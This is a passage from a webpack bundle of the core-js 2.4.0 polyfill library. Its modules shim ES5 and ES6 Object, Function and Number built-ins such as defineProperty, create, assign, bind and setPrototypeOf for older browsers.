if(IS_GLOBAL)source = name;
for(key in source){
// contains in native
own = !IS_FORCED && target && target[key] !== undefined;
// export native or passed
out = (own ? target : source)[key];
// bind timers to global for call from export context
exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out;
// extend global
if(target)redefine(target, key, out, type & $export.U);
// export
if(exports[key] != out)hide(exports, key, exp);
if(IS_PROTO && expProto[key] != out)expProto[key] = out;
}
};
global.core = core;
// type bitmap
$export.F = 1; // forced
$export.G = 2; // global
$export.S = 4; // static
$export.P = 8; // proto
$export.B = 16; // bind
$export.W = 32; // wrap
$export.U = 64; // safe
$export.R = 128; // real proto method for `library`
module.exports = $export;
/***/ },
/* 7 */
/***/ function(module, exports) {
var core = module.exports = {version: '2.4.0'};
if(typeof __e == 'number')__e = core; // eslint-disable-line no-undef
/***/ },
/* 8 */
/***/ function(module, exports, __webpack_require__) {
var dP = __webpack_require__(9)
, createDesc = __webpack_require__(15);
module.exports = __webpack_require__(4) ? function(object, key, value){
return dP.f(object, key, createDesc(1, value));
} : function(object, key, value){
object[key] = value;
return object;
};
/***/ },
/* 9 */
/***/ function(module, exports, __webpack_require__) {
var anObject = __webpack_require__(10)
, IE8_DOM_DEFINE = __webpack_require__(12)
, toPrimitive = __webpack_require__(14)
, dP = Object.defineProperty;
exports.f = __webpack_require__(4) ? Object.defineProperty : function defineProperty(O, P, Attributes){
anObject(O);
P = toPrimitive(P, true);
anObject(Attributes);
if(IE8_DOM_DEFINE)try {
return dP(O, P, Attributes);
} catch(e){ /* empty */ }
if('get' in Attributes || 'set' in Attributes)throw TypeError('Accessors not supported!');
if('value' in Attributes)O[P] = Attributes.value;
return O;
};
/***/ },
/* 10 */
/***/ function(module, exports, __webpack_require__) {
var isObject = __webpack_require__(11);
module.exports = function(it){
if(!isObject(it))throw TypeError(it + ' is not an object!');
return it;
};
/***/ },
/* 11 */
/***/ function(module, exports) {
module.exports = function(it){
return typeof it === 'object' ? it !== null : typeof it === 'function';
};
/***/ },
/* 12 */
/***/ function(module, exports, __webpack_require__) {
module.exports = !__webpack_require__(4) && !__webpack_require__(5)(function(){
return Object.defineProperty(__webpack_require__(13)('div'), 'a', {get: function(){ return 7; }}).a != 7;
});
/***/ },
/* 13 */
/***/ function(module, exports, __webpack_require__) {
var isObject = __webpack_require__(11)
, document = __webpack_require__(2).document
// in old IE typeof document.createElement is 'object'
, is = isObject(document) && isObject(document.createElement);
module.exports = function(it){
return is ? document.createElement(it) : {};
};
/***/ },
/* 14 */
/***/ function(module, exports, __webpack_require__) {
// 7.1.1 ToPrimitive(input [, PreferredType])
var isObject = __webpack_require__(11);
// instead of the ES6 spec version, we didn't implement @@toPrimitive case
// and the second argument - flag - preferred type is a string
module.exports = function(it, S){
if(!isObject(it))return it;
var fn, val;
if(S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it)))return val;
if(typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it)))return val;
if(!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it)))return val;
throw TypeError("Can't convert object to primitive value");
};
/***/ },
/* 15 */
/***/ function(module, exports) {
module.exports = function(bitmap, value){
return {
enumerable : !(bitmap & 1),
configurable: !(bitmap & 2),
writable : !(bitmap & 4),
value : value
};
};
/***/ },
/* 16 */
/***/ function(module, exports, __webpack_require__) {
var global = __webpack_require__(2)
, hide = __webpack_require__(8)
, has = __webpack_require__(3)
, SRC = __webpack_require__(17)('src')
, TO_STRING = 'toString'
, $toString = Function[TO_STRING]
, TPL = ('' + $toString).split(TO_STRING);
__webpack_require__(7).inspectSource = function(it){
return $toString.call(it);
};
(module.exports = function(O, key, val, safe){
var isFunction = typeof val == 'function';
if(isFunction)has(val, 'name') || hide(val, 'name', key);
if(O[key] === val)return;
if(isFunction)has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key)));
if(O === global){
O[key] = val;
} else {
if(!safe){
delete O[key];
hide(O, key, val);
} else {
if(O[key])O[key] = val;
else hide(O, key, val);
}
}
// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative
})(Function.prototype, TO_STRING, function toString(){
return typeof this == 'function' && this[SRC] || $toString.call(this);
});
/***/ },
/* 17 */
/***/ function(module, exports) {
var id = 0
, px = Math.random();
module.exports = function(key){
return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36));
};
/***/ },
/* 18 */
/***/ function(module, exports, __webpack_require__) {
// optional / simple context binding
var aFunction = __webpack_require__(19);
module.exports = function(fn, that, length){
aFunction(fn);
if(that === undefined)return fn;
switch(length){
case 1: return function(a){
return fn.call(that, a);
};
case 2: return function(a, b){
return fn.call(that, a, b);
};
case 3: return function(a, b, c){
return fn.call(that, a, b, c);
};
}
return function(/* ...args */){
return fn.apply(that, arguments);
};
};
/***/ },
/* 19 */
/***/ function(module, exports) {
module.exports = function(it){
if(typeof it != 'function')throw TypeError(it + ' is not a function!');
return it;
};
/***/ },
/* 20 */
/***/ function(module, exports, __webpack_require__) {
var META = __webpack_require__(17)('meta')
, isObject = __webpack_require__(11)
, has = __webpack_require__(3)
, setDesc = __webpack_require__(9).f
, id = 0;
var isExtensible = Object.isExtensible || function(){
return true;
};
var FREEZE = !__webpack_require__(5)(function(){
return isExtensible(Object.preventExtensions({}));
});
var setMeta = function(it){
setDesc(it, META, {value: {
i: 'O' + ++id, // object ID
w: {} // weak collections IDs
}});
};
var fastKey = function(it, create){
// return primitive with prefix
if(!isObject(it))return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;
if(!has(it, META)){
// can't set metadata to uncaught frozen object
if(!isExtensible(it))return 'F';
// not necessary to add metadata
if(!create)return 'E';
// add missing metadata
setMeta(it);
// return object ID
} return it[META].i;
};
var getWeak = function(it, create){
if(!has(it, META)){
// can't set metadata to uncaught frozen object
if(!isExtensible(it))return true;
// not necessary to add metadata
if(!create)return false;
// add missing metadata
setMeta(it);
// return hash weak collections IDs
} return it[META].w;
};
// add metadata on freeze-family methods calling
var onFreeze = function(it){
if(FREEZE && meta.NEED && isExtensible(it) && !has(it, META))setMeta(it);
return it;
};
var meta = module.exports = {
KEY: META,
NEED: false,
fastKey: fastKey,
getWeak: getWeak,
onFreeze: onFreeze
};
/***/ },
/* 21 */
/***/ function(module, exports, __webpack_require__) {
var global = __webpack_require__(2)
, SHARED = '__core-js_shared__'
, store = global[SHARED] || (global[SHARED] = {});
module.exports = function(key){
return store[key] || (store[key] = {});
};
/***/ },
/* 22 */
/***/ function(module, exports, __webpack_require__) {
var def = __webpack_require__(9).f
, has = __webpack_require__(3)
, TAG = __webpack_require__(23)('toStringTag');
module.exports = function(it, tag, stat){
if(it && !has(it = stat ? it : it.prototype, TAG))def(it, TAG, {configurable: true, value: tag});
};
/***/ },
/* 23 */
/***/ function(module, exports, __webpack_require__) {
var store = __webpack_require__(21)('wks')
, uid = __webpack_require__(17)
, Symbol = __webpack_require__(2).Symbol
, USE_SYMBOL = typeof Symbol == 'function';
var $exports = module.exports = function(name){
return store[name] || (store[name] =
USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name));
};
$exports.store = store;
/***/ },
/* 24 */
/***/ function(module, exports, __webpack_require__) {
exports.f = __webpack_require__(23);
/***/ },
/* 25 */
/***/ function(module, exports, __webpack_require__) {
var global = __webpack_require__(2)
, core = __webpack_require__(7)
, LIBRARY = __webpack_require__(26)
, wksExt = __webpack_require__(24)
, defineProperty = __webpack_require__(9).f;
module.exports = function(name){
var $Symbol = core.Symbol || (core.Symbol = LIBRARY ? {} : global.Symbol || {});
if(name.charAt(0) != '_' && !(name in $Symbol))defineProperty($Symbol, name, {value: wksExt.f(name)});
};
/***/ },
/* 26 */
/***/ function(module, exports) {
module.exports = false;
/***/ },
/* 27 */
/***/ function(module, exports, __webpack_require__) {
var getKeys = __webpack_require__(28)
, toIObject = __webpack_require__(30);
module.exports = function(object, el){
var O = toIObject(object)
, keys = getKeys(O)
, length = keys.length
, index = 0
, key;
while(length > index)if(O[key = keys[index++]] === el)return key;
};
/***/ },
/* 28 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.14 / 15.2.3.14 Object.keys(O)
var $keys = __webpack_require__(29)
, enumBugKeys = __webpack_require__(39);
module.exports = Object.keys || function keys(O){
return $keys(O, enumBugKeys);
};
/***/ },
/* 29 */
/***/ function(module, exports, __webpack_require__) {
var has = __webpack_require__(3)
, toIObject = __webpack_require__(30)
, arrayIndexOf = __webpack_require__(34)(false)
, IE_PROTO = __webpack_require__(38)('IE_PROTO');
module.exports = function(object, names){
var O = toIObject(object)
, i = 0
, result = []
, key;
for(key in O)if(key != IE_PROTO)has(O, key) && result.push(key);
// Don't enum bug & hidden keys
while(names.length > i)if(has(O, key = names[i++])){
~arrayIndexOf(result, key) || result.push(key);
}
return result;
};
/***/ },
/* 30 */
/***/ function(module, exports, __webpack_require__) {
// to indexed object, toObject with fallback for non-array-like ES3 strings
var IObject = __webpack_require__(31)
, defined = __webpack_require__(33);
module.exports = function(it){
return IObject(defined(it));
};
/***/ },
/* 31 */
/***/ function(module, exports, __webpack_require__) {
// fallback for non-array-like ES3 and non-enumerable old V8 strings
var cof = __webpack_require__(32);
module.exports = Object('z').propertyIsEnumerable(0) ? Object : function(it){
return cof(it) == 'String' ? it.split('') : Object(it);
};
/***/ },
/* 32 */
/***/ function(module, exports) {
var toString = {}.toString;
module.exports = function(it){
return toString.call(it).slice(8, -1);
};
/***/ },
/* 33 */
/***/ function(module, exports) {
// 7.2.1 RequireObjectCoercible(argument)
module.exports = function(it){
if(it == undefined)throw TypeError("Can't call method on " + it);
return it;
};
/***/ },
/* 34 */
/***/ function(module, exports, __webpack_require__) {
// false -> Array#indexOf
// true -> Array#includes
var toIObject = __webpack_require__(30)
, toLength = __webpack_require__(35)
, toIndex = __webpack_require__(37);
module.exports = function(IS_INCLUDES){
return function($this, el, fromIndex){
var O = toIObject($this)
, length = toLength(O.length)
, index = toIndex(fromIndex, length)
, value;
// Array#includes uses SameValueZero equality algorithm
if(IS_INCLUDES && el != el)while(length > index){
value = O[index++];
if(value != value)return true;
// Array#toIndex ignores holes, Array#includes - not
} else for(;length > index; index++)if(IS_INCLUDES || index in O){
if(O[index] === el)return IS_INCLUDES || index || 0;
} return !IS_INCLUDES && -1;
};
};
/***/ },
/* 35 */
/***/ function(module, exports, __webpack_require__) {
// 7.1.15 ToLength
var toInteger = __webpack_require__(36)
, min = Math.min;
module.exports = function(it){
return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991
};
/***/ },
/* 36 */
/***/ function(module, exports) {
// 7.1.4 ToInteger
var ceil = Math.ceil
, floor = Math.floor;
module.exports = function(it){
return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it);
};
/***/ },
/* 37 */
/***/ function(module, exports, __webpack_require__) {
var toInteger = __webpack_require__(36)
, max = Math.max
, min = Math.min;
module.exports = function(index, length){
index = toInteger(index);
return index < 0 ? max(index + length, 0) : min(index, length);
};
/***/ },
/* 38 */
/***/ function(module, exports, __webpack_require__) {
var shared = __webpack_require__(21)('keys')
, uid = __webpack_require__(17);
module.exports = function(key){
return shared[key] || (shared[key] = uid(key));
};
/***/ },
/* 39 */
/***/ function(module, exports) {
// IE 8- don't enum bug keys
module.exports = (
'constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf'
).split(',');
/***/ },
/* 40 */
/***/ function(module, exports, __webpack_require__) {
// all enumerable object keys, includes symbols
var getKeys = __webpack_require__(28)
, gOPS = __webpack_require__(41)
, pIE = __webpack_require__(42);
module.exports = function(it){
var result = getKeys(it)
, getSymbols = gOPS.f;
if(getSymbols){
var symbols = getSymbols(it)
, isEnum = pIE.f
, i = 0
, key;
while(symbols.length > i)if(isEnum.call(it, key = symbols[i++]))result.push(key);
} return result;
};
/***/ },
/* 41 */
/***/ function(module, exports) {
exports.f = Object.getOwnPropertySymbols;
/***/ },
/* 42 */
/***/ function(module, exports) {
exports.f = {}.propertyIsEnumerable;
/***/ },
/* 43 */
/***/ function(module, exports, __webpack_require__) {
// 7.2.2 IsArray(argument)
var cof = __webpack_require__(32);
module.exports = Array.isArray || function isArray(arg){
return cof(arg) == 'Array';
};
/***/ },
/* 44 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
var anObject = __webpack_require__(10)
, dPs = __webpack_require__(45)
, enumBugKeys = __webpack_require__(39)
, IE_PROTO = __webpack_require__(38)('IE_PROTO')
, Empty = function(){ /* empty */ }
, PROTOTYPE = 'prototype';
// Create object with fake `null` prototype: use iframe Object with cleared prototype
var createDict = function(){
// Thrash, waste and sodomy: IE GC bug
var iframe = __webpack_require__(13)('iframe')
, i = enumBugKeys.length
, lt = '<'
, gt = '>'
, iframeDocument;
iframe.style.display = 'none';
__webpack_require__(46).appendChild(iframe);
iframe.src = 'javascript:'; // eslint-disable-line no-script-url
// createDict = iframe.contentWindow.Object;
// html.removeChild(iframe);
iframeDocument = iframe.contentWindow.document;
iframeDocument.open();
iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt);
iframeDocument.close();
createDict = iframeDocument.F;
while(i--)delete createDict[PROTOTYPE][enumBugKeys[i]];
return createDict();
};
module.exports = Object.create || function create(O, Properties){
var result;
if(O !== null){
Empty[PROTOTYPE] = anObject(O);
result = new Empty;
Empty[PROTOTYPE] = null;
// add "__proto__" for Object.getPrototypeOf polyfill
result[IE_PROTO] = O;
} else result = createDict();
return Properties === undefined ? result : dPs(result, Properties);
};
/***/ },
/* 45 */
/***/ function(module, exports, __webpack_require__) {
var dP = __webpack_require__(9)
, anObject = __webpack_require__(10)
, getKeys = __webpack_require__(28);
module.exports = __webpack_require__(4) ? Object.defineProperties : function defineProperties(O, Properties){
anObject(O);
var keys = getKeys(Properties)
, length = keys.length
, i = 0
, P;
while(length > i)dP.f(O, P = keys[i++], Properties[P]);
return O;
};
/***/ },
/* 46 */
/***/ function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(2).document && document.documentElement;
/***/ },
/* 47 */
/***/ function(module, exports, __webpack_require__) {
// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window
var toIObject = __webpack_require__(30)
, gOPN = __webpack_require__(48).f
, toString = {}.toString;
var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames
? Object.getOwnPropertyNames(window) : [];
var getWindowNames = function(it){
try {
return gOPN(it);
} catch(e){
return windowNames.slice();
}
};
module.exports.f = function getOwnPropertyNames(it){
return windowNames && toString.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(toIObject(it));
};
/***/ },
/* 48 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O)
var $keys = __webpack_require__(29)
, hiddenKeys = __webpack_require__(39).concat('length', 'prototype');
exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O){
return $keys(O, hiddenKeys);
};
/***/ },
/* 49 */
/***/ function(module, exports, __webpack_require__) {
var pIE = __webpack_require__(42)
, createDesc = __webpack_require__(15)
, toIObject = __webpack_require__(30)
, toPrimitive = __webpack_require__(14)
, has = __webpack_require__(3)
, IE8_DOM_DEFINE = __webpack_require__(12)
, gOPD = Object.getOwnPropertyDescriptor;
exports.f = __webpack_require__(4) ? gOPD : function getOwnPropertyDescriptor(O, P){
O = toIObject(O);
P = toPrimitive(P, true);
if(IE8_DOM_DEFINE)try {
return gOPD(O, P);
} catch(e){ /* empty */ }
if(has(O, P))return createDesc(!pIE.f.call(O, P), O[P]);
};
/***/ },
/* 50 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6);
// 19.1.2.4 / 15.2.3.6 Object.defineProperty(O, P, Attributes)
$export($export.S + $export.F * !__webpack_require__(4), 'Object', {defineProperty: __webpack_require__(9).f});
/***/ },
/* 51 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6);
// 19.1.2.3 / 15.2.3.7 Object.defineProperties(O, Properties)
$export($export.S + $export.F * !__webpack_require__(4), 'Object', {defineProperties: __webpack_require__(45)});
/***/ },
/* 52 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
var toIObject = __webpack_require__(30)
, $getOwnPropertyDescriptor = __webpack_require__(49).f;
__webpack_require__(53)('getOwnPropertyDescriptor', function(){
return function getOwnPropertyDescriptor(it, key){
return $getOwnPropertyDescriptor(toIObject(it), key);
};
});
/***/ },
/* 53 */
/***/ function(module, exports, __webpack_require__) {
// most Object methods by ES6 should accept primitives
var $export = __webpack_require__(6)
, core = __webpack_require__(7)
, fails = __webpack_require__(5);
module.exports = function(KEY, exec){
var fn = (core.Object || {})[KEY] || Object[KEY]
, exp = {};
exp[KEY] = exec(fn);
$export($export.S + $export.F * fails(function(){ fn(1); }), 'Object', exp);
};
/***/ },
/* 54 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
$export($export.S, 'Object', {create: __webpack_require__(44)});
/***/ },
/* 55 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.9 Object.getPrototypeOf(O)
var toObject = __webpack_require__(56)
, $getPrototypeOf = __webpack_require__(57);
__webpack_require__(53)('getPrototypeOf', function(){
return function getPrototypeOf(it){
return $getPrototypeOf(toObject(it));
};
});
/***/ },
/* 56 */
/***/ function(module, exports, __webpack_require__) {
// 7.1.13 ToObject(argument)
var defined = __webpack_require__(33);
module.exports = function(it){
return Object(defined(it));
};
/***/ },
/* 57 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)
var has = __webpack_require__(3)
, toObject = __webpack_require__(56)
, IE_PROTO = __webpack_require__(38)('IE_PROTO')
, ObjectProto = Object.prototype;
module.exports = Object.getPrototypeOf || function(O){
O = toObject(O);
if(has(O, IE_PROTO))return O[IE_PROTO];
if(typeof O.constructor == 'function' && O instanceof O.constructor){
return O.constructor.prototype;
} return O instanceof Object ? ObjectProto : null;
};
/***/ },
/* 58 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.14 Object.keys(O)
var toObject = __webpack_require__(56)
, $keys = __webpack_require__(28);
__webpack_require__(53)('keys', function(){
return function keys(it){
return $keys(toObject(it));
};
});
/***/ },
/* 59 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.7 Object.getOwnPropertyNames(O)
__webpack_require__(53)('getOwnPropertyNames', function(){
return __webpack_require__(47).f;
});
/***/ },
/* 60 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.5 Object.freeze(O)
var isObject = __webpack_require__(11)
, meta = __webpack_require__(20).onFreeze;
__webpack_require__(53)('freeze', function($freeze){
return function freeze(it){
return $freeze && isObject(it) ? $freeze(meta(it)) : it;
};
});
/***/ },
/* 61 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.17 Object.seal(O)
var isObject = __webpack_require__(11)
, meta = __webpack_require__(20).onFreeze;
__webpack_require__(53)('seal', function($seal){
return function seal(it){
return $seal && isObject(it) ? $seal(meta(it)) : it;
};
});
/***/ },
/* 62 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.15 Object.preventExtensions(O)
var isObject = __webpack_require__(11)
, meta = __webpack_require__(20).onFreeze;
__webpack_require__(53)('preventExtensions', function($preventExtensions){
return function preventExtensions(it){
return $preventExtensions && isObject(it) ? $preventExtensions(meta(it)) : it;
};
});
/***/ },
/* 63 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.12 Object.isFrozen(O)
var isObject = __webpack_require__(11);
__webpack_require__(53)('isFrozen', function($isFrozen){
return function isFrozen(it){
return isObject(it) ? $isFrozen ? $isFrozen(it) : false : true;
};
});
/***/ },
/* 64 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.13 Object.isSealed(O)
var isObject = __webpack_require__(11);
__webpack_require__(53)('isSealed', function($isSealed){
return function isSealed(it){
return isObject(it) ? $isSealed ? $isSealed(it) : false : true;
};
});
/***/ },
/* 65 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.2.11 Object.isExtensible(O)
var isObject = __webpack_require__(11);
__webpack_require__(53)('isExtensible', function($isExtensible){
return function isExtensible(it){
return isObject(it) ? $isExtensible ? $isExtensible(it) : true : false;
};
});
/***/ },
/* 66 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.3.1 Object.assign(target, source)
var $export = __webpack_require__(6);
$export($export.S + $export.F, 'Object', {assign: __webpack_require__(67)});
/***/ },
/* 67 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 19.1.2.1 Object.assign(target, source, ...)
var getKeys = __webpack_require__(28)
, gOPS = __webpack_require__(41)
, pIE = __webpack_require__(42)
, toObject = __webpack_require__(56)
, IObject = __webpack_require__(31)
, $assign = Object.assign;
// should work with symbols and should have deterministic property order (V8 bug)
module.exports = !$assign || __webpack_require__(5)(function(){
var A = {}
, B = {}
, S = Symbol()
, K = 'abcdefghijklmnopqrst';
A[S] = 7;
K.split('').forEach(function(k){ B[k] = k; });
return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K;
}) ? function assign(target, source){ // eslint-disable-line no-unused-vars
var T = toObject(target)
, aLen = arguments.length
, index = 1
, getSymbols = gOPS.f
, isEnum = pIE.f;
while(aLen > index){
var S = IObject(arguments[index++])
, keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S)
, length = keys.length
, j = 0
, key;
while(length > j)if(isEnum.call(S, key = keys[j++]))T[key] = S[key];
} return T;
} : $assign;
/***/ },
/* 68 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.3.10 Object.is(value1, value2)
var $export = __webpack_require__(6);
$export($export.S, 'Object', {is: __webpack_require__(69)});
/***/ },
/* 69 */
/***/ function(module, exports) {
// 7.2.9 SameValue(x, y)
module.exports = Object.is || function is(x, y){
return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y;
};
/***/ },
/* 70 */
/***/ function(module, exports, __webpack_require__) {
// 19.1.3.19 Object.setPrototypeOf(O, proto)
var $export = __webpack_require__(6);
$export($export.S, 'Object', {setPrototypeOf: __webpack_require__(71).set});
/***/ },
/* 71 */
/***/ function(module, exports, __webpack_require__) {
// Works with __proto__ only. Old v8 can't work with null proto objects.
/* eslint-disable no-proto */
var isObject = __webpack_require__(11)
, anObject = __webpack_require__(10);
var check = function(O, proto){
anObject(O);
if(!isObject(proto) && proto !== null)throw TypeError(proto + ": can't set as prototype!");
};
module.exports = {
set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line
function(test, buggy, set){
try {
set = __webpack_require__(18)(Function.call, __webpack_require__(49).f(Object.prototype, '__proto__').set, 2);
set(test, []);
buggy = !(test instanceof Array);
} catch(e){ buggy = true; }
return function setPrototypeOf(O, proto){
check(O, proto);
if(buggy)O.__proto__ = proto;
else set(O, proto);
return O;
};
}({}, false) : undefined),
check: check
};
/***/ },
/* 72 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 19.1.3.6 Object.prototype.toString()
var classof = __webpack_require__(73)
, test = {};
test[__webpack_require__(23)('toStringTag')] = 'z';
if(test + '' != '[object z]'){
__webpack_require__(16)(Object.prototype, 'toString', function toString(){
return '[object ' + classof(this) + ']';
}, true);
}
/***/ },
/* 73 */
/***/ function(module, exports, __webpack_require__) {
// getting tag from 19.1.3.6 Object.prototype.toString()
var cof = __webpack_require__(32)
, TAG = __webpack_require__(23)('toStringTag')
// ES3 wrong here
, ARG = cof(function(){ return arguments; }()) == 'Arguments';
// fallback for IE11 Script Access Denied error
var tryGet = function(it, key){
try {
return it[key];
} catch(e){ /* empty */ }
};
module.exports = function(it){
var O, T, B;
return it === undefined ? 'Undefined' : it === null ? 'Null'
// @@toStringTag case
: typeof (T = tryGet(O = Object(it), TAG)) == 'string' ? T
// builtinTag case
: ARG ? cof(O)
// ES3 arguments fallback
: (B = cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B;
};
/***/ },
/* 74 */
/***/ function(module, exports, __webpack_require__) {
// 19.2.3.2 / 15.3.4.5 Function.prototype.bind(thisArg, args...)
var $export = __webpack_require__(6);
$export($export.P, 'Function', {bind: __webpack_require__(75)});
/***/ },
/* 75 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var aFunction = __webpack_require__(19)
, isObject = __webpack_require__(11)
, invoke = __webpack_require__(76)
, arraySlice = [].slice
, factories = {};
var construct = function(F, len, args){
if(!(len in factories)){
for(var n = [], i = 0; i < len; i++)n[i] = 'a[' + i + ']';
factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')');
} return factories[len](F, args);
};
module.exports = Function.bind || function bind(that /*, args... */){
var fn = aFunction(this)
, partArgs = arraySlice.call(arguments, 1);
var bound = function(/* args... */){
var args = partArgs.concat(arraySlice.call(arguments));
return this instanceof bound ? construct(fn, args.length, args) : invoke(fn, args, that);
};
if(isObject(fn.prototype))bound.prototype = fn.prototype;
return bound;
};
/***/ },
/* 76 */
/***/ function(module, exports) {
// fast apply, http://jsperf.lnkit.com/fast-apply/5
module.exports = function(fn, args, that){
var un = that === undefined;
switch(args.length){
case 0: return un ? fn()
: fn.call(that);
case 1: return un ? fn(args[0])
: fn.call(that, args[0]);
case 2: return un ? fn(args[0], args[1])
: fn.call(that, args[0], args[1]);
case 3: return un ? fn(args[0], args[1], args[2])
: fn.call(that, args[0], args[1], args[2]);
case 4: return un ? fn(args[0], args[1], args[2], args[3])
: fn.call(that, args[0], args[1], args[2], args[3]);
} return fn.apply(that, args);
};
/***/ },
/* 77 */
/***/ function(module, exports, __webpack_require__) {
var dP = __webpack_require__(9).f
, createDesc = __webpack_require__(15)
, has = __webpack_require__(3)
, FProto = Function.prototype
, nameRE = /^\s*function ([^ (]*)/
, NAME = 'name';
var isExtensible = Object.isExtensible || function(){
return true;
};
// 19.2.4.2 name
NAME in FProto || __webpack_require__(4) && dP(FProto, NAME, {
configurable: true,
get: function(){
try {
var that = this
, name = ('' + that).match(nameRE)[1];
has(that, NAME) || !isExtensible(that) || dP(that, NAME, createDesc(5, name));
return name;
} catch(e){
return '';
}
}
});
/***/ },
/* 78 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var isObject = __webpack_require__(11)
, getPrototypeOf = __webpack_require__(57)
, HAS_INSTANCE = __webpack_require__(23)('hasInstance')
, FunctionProto = Function.prototype;
// 19.2.3.6 Function.prototype[@@hasInstance](V)
if(!(HAS_INSTANCE in FunctionProto))__webpack_require__(9).f(FunctionProto, HAS_INSTANCE, {value: function(O){
if(typeof this != 'function' || !isObject(O))return false;
if(!isObject(this.prototype))return O instanceof this;
// for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this:
while(O = getPrototypeOf(O))if(this.prototype === O)return true;
return false;
}});
/***/ },
/* 79 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var global = __webpack_require__(2)
, has = __webpack_require__(3)
, cof = __webpack_require__(32)
, inheritIfRequired = __webpack_require__(80)
, toPrimitive = __webpack_require__(14)
, fails = __webpack_require__(5)
, gOPN = __webpack_require__(48).f
, gOPD = __webpack_require__(49).f
, dP = __webpack_require__(9).f
, $trim = __webpack_require__(81).trim
, NUMBER = 'Number'
, $Number = global[NUMBER]
, Base = $Number
, proto = $Number.prototype
// Opera ~12 has broken Object#toString
, BROKEN_COF = cof(__webpack_require__(44)(proto)) == NUMBER
, TRIM = 'trim' in String.prototype;
// 7.1.3 ToNumber(argument)
var toNumber = function(argument){
var it = toPrimitive(argument, false);
if(typeof it == 'string' && it.length > 2){
it = TRIM ? it.trim() : $trim(it, 3);
var first = it.charCodeAt(0)
, third, radix, maxCode;
if(first === 43 || first === 45){
third = it.charCodeAt(2);
if(third === 88 || third === 120)return NaN; // Number('+0x1') should be NaN, old V8 fix
} else if(first === 48){
switch(it.charCodeAt(1)){
case 66 : case 98 : radix = 2; maxCode = 49; break; // fast equal /^0b[01]+$/i
case 79 : case 111 : radix = 8; maxCode = 55; break; // fast equal /^0o[0-7]+$/i
default : return +it;
}
for(var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++){
code = digits.charCodeAt(i);
// parseInt parses a string to a first unavailable symbol
// but ToNumber should return NaN if a string contains unavailable symbols
if(code < 48 || code > maxCode)return NaN;
} return parseInt(digits, radix);
}
} return +it;
};
if(!$Number(' 0o1') || !$Number('0b1') || $Number('+0x1')){
$Number = function Number(value){
var it = arguments.length < 1 ? 0 : value
, that = this;
return that instanceof $Number
// check on 1..constructor(foo) case
&& (BROKEN_COF ? fails(function(){ proto.valueOf.call(that); }) : cof(that) != NUMBER)
? inheritIfRequired(new Base(toNumber(it)), that, $Number) : toNumber(it);
};
for(var keys = __webpack_require__(4) ? gOPN(Base) : (
// ES3:
'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' +
// ES6 (in case, if modules with ES6 Number statics required before):
'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' +
'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger'
).split(','), j = 0, key; keys.length > j; j++){
if(has(Base, key = keys[j]) && !has($Number, key)){
dP($Number, key, gOPD(Base, key));
}
}
$Number.prototype = proto;
proto.constructor = $Number;
__webpack_require__(16)(global, NUMBER, $Number);
}
/***/ },
/* 80 */
/***/ function(module, exports, __webpack_require__) {
var isObject = __webpack_require__(11)
, setPrototypeOf = __webpack_require__(71).set;
module.exports = function(that, target, C){
var P, S = target.constructor;
